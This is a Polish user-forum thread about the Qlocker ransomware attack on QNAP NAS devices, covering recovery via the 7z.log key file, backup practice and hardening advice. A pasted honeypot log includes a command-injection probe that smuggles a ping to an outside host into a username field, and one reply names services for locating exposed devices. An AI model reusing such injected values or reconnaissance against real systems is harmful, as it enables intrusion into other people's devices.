Pomoc Qlocker - atak na Qnapy

Qnapa chyba bym już nie kupił.
Zwłaszcza, że dziury były w podstawowym oprogramowaniu do backupu. Migawki nie były zabezpieczone. A sama firma ma nas w głębokim poważaniu.

A w jaki sposób zabezpieczyć migawki kiedy złośliwe oprogramowanie ma dostęp do roota i może zrobić wszystko ?
Załóżmy, ze dziury były w oprogramowaniu do backupu ? Backupujesz cały Internet ? Po co port HBS`a wystawiony na świat ? Jeśli już robisz jakieś backupy wymagające dostępu netu to firek powinien wpuszczać tylko ip hostów dla/do których robisz backup.

Póki co mało się pisze o samym wektorze ataku - 16.04 wyszła nowa wersja QTS:
Security Advisories | QNAP
Command Injection Vulnerability in QTS and QuTS hero - Security Advisory
A command injection vulnerability has been reported to affect QTS and QuTS hero.

If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application.

Ile osób miało zaktualizowanego QTSa ?

RAID na NAS nie jest backupem - backup ważnych danych się robi i jak mówi stare porzekadło - ludzie dzielą się na tych co nie robią backupu i tych którzy będą je robili. NAS jest tylko bardziej rozbudowanym, nowoczesnym dyskiem - niczym więcej. Backup ważnych danych to podstawa.
 
A w jaki sposób zabezpieczyć migawki kiedy złośliwe oprogramowanie ma dostęp do roota i może zrobić wszystko ? Załóżmy, ze dziury były w oprogramowaniu do backupu ? Backupujesz cały Internet ? Po co port HBS`a wystawiony na świat ? Jeśli już robisz jakieś backupy wymagające dostępu netu to firek powinien wpuszczać tylko ip hostów dla/do których robisz backup.
Po co HB3 działa na rootcie? Dlaczego QNAP nie umożliwia zmiany nazwy dla konta admin? Da się wyłączyć ale są problemy w QTS bez tego konta. Mnie kiedyś włamali się przez Music Station - standardową aplikację z Q. Wychodzi na to, że nie wartom korzystać z większości aplikacji dostępnych na nasie.
 
[
Ok, ja nie restartowalem NAS do czasu az mnie o to Malware Remover o to nie poprosil i napisalem do nich prosbe o eww klucz to taka odpowiedz otrzymalem.
Poza tym kazali nie restartowac NAS a koniecznie uruchomic aktualizacje Malware remover co kaze go po dzialaniu zrestartowac, ja juz jestem skolowany. Teraz taka odpowiedz od nich nie pozostawia zadnej nadziei...

Poszukaj czy na dysku Ci nie zrobił 7z.log w którym bedziesz mial klucz deszyfrujący.
 
[
Ok, ja nie restartowalem NAS do czasu az mnie o to Malware Remover o to nie poprosil i napisalem do nich prosbe o eww klucz to taka odpowiedz otrzymalem.
Poza tym kazali nie restartowac NAS a koniecznie uruchomic aktualizacje Malware remover co kaze go po dzialaniu zrestartowac, ja juz jestem skolowany. Teraz taka odpowiedz od nich nie pozostawia zadnej nadziei...

Poszukaj czy na dysku Ci nie zrobił 7z.log w którym bedziesz mial klucz deszyfrujący.
Dobry pomysł:
Kod:
MR_PATH=\`getcfg MalwareRemover Install_Path -f /etc/config/qpkg.conf\`\
LOG_FILE=\$\{MR_PATH\}/7z.log\
w pliku qpkg.conf zobacz gdzie masz MR zainstalowany. W tym katalogu może znajdować się plik 7z.log.
np.
Kod:
/share/CACHEDEV1_DATA/.qpkg/MalwareRemover/7z.log
 
Po co HB3 działa na rootcie?
A teraz pomyśl, skoro HB3 ma dostęp do plików, a dziura umożliwiała zdalne wstrzyknięcie polecenia - to skrypt równie dobrze mógłby pracować z prawami HBS3 i szyfrować pliki. Plus taki, że być może nie mógłby skasować migawek. Choć tak na prawdę nie wiemy jak w szczegółach wyglądał ten atak i co poprawiono w samym QTS w poprawce z 16.04.

Dlaczego QNAP nie umożliwa zmiany nazwy dla konta admin?
Na milionach komputerów wiadomo, że root jest superużytkownikiem a jakoś mało kto zmienia nazwę dla konta superużytkownika. Nazwa ma marginalne znaczenie, raczej silne hasło jest ważne i odpowiedni firewall.

O samych backupach nie wspominając.
 
  • Lubię to
Reakcje: kadwa2
Jak już wcześniej pisałem, zaszyfrowanie danych dotknęło również jedne z moich QNAPów. Na szczęście mam 100% kopii danych na zewnętrznym dysku więc ich odzyskanie to nie będzie problem. Jednak zastanawiam się jak to teraz najlepiej zrobić:
- usunąć wolumen/pule pamięci, stworzyć nową i skopiować dane - wtedy cały system i ustawienia pozostają bez zmian a więc proces jest w miarę łatwy
- zrobić ponowną inicjalizację QNAPa - oczywiście wymagana wtedy jest konfiguracja wszystkiego od nowa a więc potrzeba więcej czasu

Druga sprawa to co dalej:
- mocne hasło admina i użytkowników
- zmiana portów: systemowy i SSL
- nie uruchamianie myqnapcloud a zastosowanie VPN do zdalnego połączenia
- ograniczenie uruchomionych aplikacji do minimum - potrzebuję HBS do robienia kopii danych między QNAPami, i się zastanawiam czy tego dalej używać:)
- kilka osób pisze o wyłączeniu konta admina - jak to zrobić? Czy zrobienie innego użytkownika i dodanie go do grupy administratorów wprowadzi jakieś ograniczenia? Czy taki użytkownik będzie mógł zrobić dokładnie to samo co użytkownik admin?

Muszę te rzeczy zrobić w przeciągu najbliższych 2-3 dni aby odzyskać możliwość ponownego korzystania z QNAPa.
 
Na Ubuntu jest nieaktywne trzeba użyć sudo. Dodatkowo:
Masz QNAP-a? Sprawdź, czy Ci się nie zaszyfrował…
'Specjalistów od bezpieczeństwa przyglądających się sprawie bulwersuje to, że Qlocker dostaje się na urządzenia poprzez dziurę, którą niezależni badacze zgłaszali QNAP-owi jeszcze w listopadzie 2020 roku. Ale producent dziurę załatał dopiero 16 kwietnia 2021 roku i to po tym, jak badacze nie wytrzymali i ujawnili publicznie informacje o błędzie'

Jakie znaczenie ma sudo do procesow pracujacych z poziomu roota ? :) Te procesy cały czas z takimi prawami pracują.
Sudo pozwala uruchomić polecenia z prawami roota znając hasło użytkownika. Coś to zmienia w kwestii ataku bruteforce i odgadnięcia prostego hasła do konta admina czy prostego hasła do konta użytkownika dopisanego do sudoers ? Nic. W obdywu przypadkach otrzymamy dostęp do systemu z prawami administratora.
Hasła powinny być silne by atak słownikowy bruteforce nie był skuteczny. Pozorność bezpieczeństwa bo hasło roota nie jest ustawione, a używamy sudo z własnym hasłem jest iluzoryczna w moim odczuciu. Tym bardziej jak jeszcze tego samego hasła używamy do logowania sie na wszelakie serwisy internetowe.

Natomiast kwestia braku poprawek po takim zgłoszeniu - to stawia QNAPa w bardzo złym świetle i z tym się zgadzam w 100%. Czasu na załatanie i poinformowanie użytkowników by zdążyli z upgrade było nadto. Natomiast to jest druga strona medalu. Bo pierwsza to odpowiednie zabezpieczenie własnej sieci i nie wystawiania NAS na zewnątrz, w szczególności portem do zarządzania i usługami, które na świat nie muszą być wystawione. A jeśli już muszą działać via internet to powinny być zabezpieczone firewallem.
Patrząc na to co wrzuciłeś:
New vulnerabilities discovered allow access to user data and complete takeover - SAM Seamless Network
Jak widać wystarczyło mieć wystawione 8080 z portalem do zarządzania na świat by móc przejąc całkowitą kontrolę nad NAS.
Ile osób którym zaszyfrowano pliki miało zaktualizowaną wersję QTS ?
 
  • Lubię to
Reakcje: 1 osoba
Coś to zmienia w kwestii ataku bruteforce i odgadnięcia prostego hasła do konta admina czy prostego hasła do konta użytkownika dopisanego do sudoers ?
Oczywiście, nie masz konta 'admin' - tylko muszą dodatkowo zgadywać użytkownika. Plus dla firmy Qnap za dodanie qufirewall'a - prawdopodobnie to mi pomogło.
 
Coś to zmienia w kwestii ataku bruteforce i odgadnięcia prostego hasła do konta admina czy prostego hasła do konta użytkownika dopisanego do sudoers ?
Oczywiście, nie masz konta 'admin' - tylko muszą dodatkowo zgadywać użytkownika. Plus dla firmy Qnap za dodanie qufirewall'a - prawdopodobnie to mi pomogło.

Z reguły atak i tak jest słownikowy czyli leci per login/haslo:
Invalid user drukarnia from 116.110.223.164 port 36266
Invalid user demo from 87.7.178.116 port 51334
Invalid user telecomadmin from 87.7.178.116 port 54510
Invalid user admin from 36.71.233.251 port 5476
Invalid user test from 209.141.48.202 port 59958
Invalid user oracle from 209.141.48.202 port 58282
Invalid user pi from 59.2.207.18 port 34374

albo takie kwiatki:
Invalid user ' $(ping -c 1 e1cda467-$(echo s2).jitgit.com) from 66.230.230.230 port 29591

itd itd ;) Fragment logów z jednego z honeypotów z ostatnich 24h

W samym QTS masz możliwość blokady na określony czas w przypadku x razy błędnej próby zalogowania. Można to sobie skonfigurować odpowiednio.
I to jest iluzoryczne bezpieczeństwo bo tak na prawdę silne hasło typu: mWXaT+#6B_fM1&wu używanego tylko i wyłącznie do logowania się do NAS z prawami admina, z włączonym blokowaniem IP na x czasu po błędnej próbie logowania załatwia temat w kwestii udanego ataku słownikowego i uzyskania dostępu w ten sposób. Nie mówiąc już o nie wystawianiu portu 8080 czy jakiegokolwiek innego z panelem zarządzania NAS do świata. Zmiana portu również niewiele daje - dziurawa usługa nadal jest wystawiona tylko na innym porcie. Taki nmap pokaże ją w ciagu kilkunastu sekund jeśli nie mamy żadnego portsentry czy czegoś w tym stylu. Zresztą wystarczy by nmapowi udało się uzyskać choćby szczątkową informacje o porcie i atak może nastąpić z zupełnie innej podsieci, nawet jesli portsentry wytnie skanującego.


To co zastanawia jeszcze - skąd atakujący wzieli IP QNAPów aby je zaatakować. Czasu od ujawnienia podatności światu do realizacji exploita upłynęło naprawdę niewiele.
 
skąd atakujący wzieli IP QNAPów aby je zaatakować.
DNS ? co za problem odpytywać DNSy do oporu materiału ?

Shodan ?
upload_2021-4-26_13-34-28.png


ZoomEye ? https://www.zoomeye.org/searchResult/report?q=qnap

upload_2021-4-26_13-36-49.png


Certy SSL ? https://crt.sh/?q=myqnapcloud.com
 
DNS ? co za problem odpytywać DNSy do oporu materiału ?

Problem żaden w sumie poza jednym. 16.04 jest release nowego softu, 18.04 już pierwsze osoby pisały o zaszyfrowanych plikach 7z. Albo przygotowywali się do tego ataku od dawna i widząc, że QNAP zaczyna robić ruchy z łataniem dziur, zaatakowali albo są bardzo szybcy i w ciągu 2 dni napisali działającego sploita ;)

Ten link z certami - konczy sie na 2018 roku, mojej nazwy certu tam nie ma - nie uzywam myqnapcloud, ale cert wygenerowany mam ;) Dość leciwa ta lista.

Shodan, ZoomEye - to wymaga troche więcej pracy z obrobieniem danych - choć w sumie można też walić na ślepo majac tylko liste ip na ktorych moze stac podatny QNAP.

Tak na prawdę mieliśmy dwa bugi remote exploitable - jeden w webservices QTS, drugi w HBS3 plus SQL Injection na baze Media Console czy jak to sie tam zwie. Nie uzywam wiec nawet nie wiem co tam w tej bazie jest wartosciowego co mozna by wykorzystac. Jakby ktoś znalazł więcej szczegółów na czym dokładnie polegały błędy to dajcie znać. Czeszę bugtraq ale jak na razie nic nie trafiłem.
 
@pigers ciekawe.
Czy on to usuwa do jakiejś kwarantanny ? Bo log tak enigmatyczny jak logi windowsa .... da się tam podejrzeć jaki plik ? z jakiego katalogu ? etc?
Wczoraj podnioslem swojego, wgrałem kilka poprawek aplikacji, sprawdzajac czy przypadkiem w tle nie rusza 7z ale poki co jeszcze nie zapodalem skanowania Malware Removerem. Na razie QNAP zabezpieczony jest shutdownem dopoki bede mial wiecej czasu by ogarnac reszte.
 
tak - w końcu mnie znalazł qLocker
widze resztki folderów - kasowanie raczej od razu w śmietnik
 

Użytkownicy znaleźli tą stronę używając tych słów:

  1. sophos
  2. xopero
  3. wyłączenie qufirewall
  4. qlocker
  5. mr1702
  6. restart NAS przez SSH
  7. brute force
  8. kodi podstawy
  9. wymiana pasty
  10. 212P
  11. qlink
  12. fotograf
  13. tr004
  14. jak podlaczyc dysk do pc
  15. media steaming add
  16. 7zip
  17. port światłowód
  18. counselor
  19. 7z odszyfrowanie
  20. zaszyfrowany dostęp do qnap
  21. zmiana portu
  22. Qinspector
  23. odzyskanie danych qlocker
  24. Logman
  25. active directory
  26. program do backupu
  27. Qmusic
  28. Qnap brak odpowiedzi
  29. qphoto
  30. klucz szyfrowania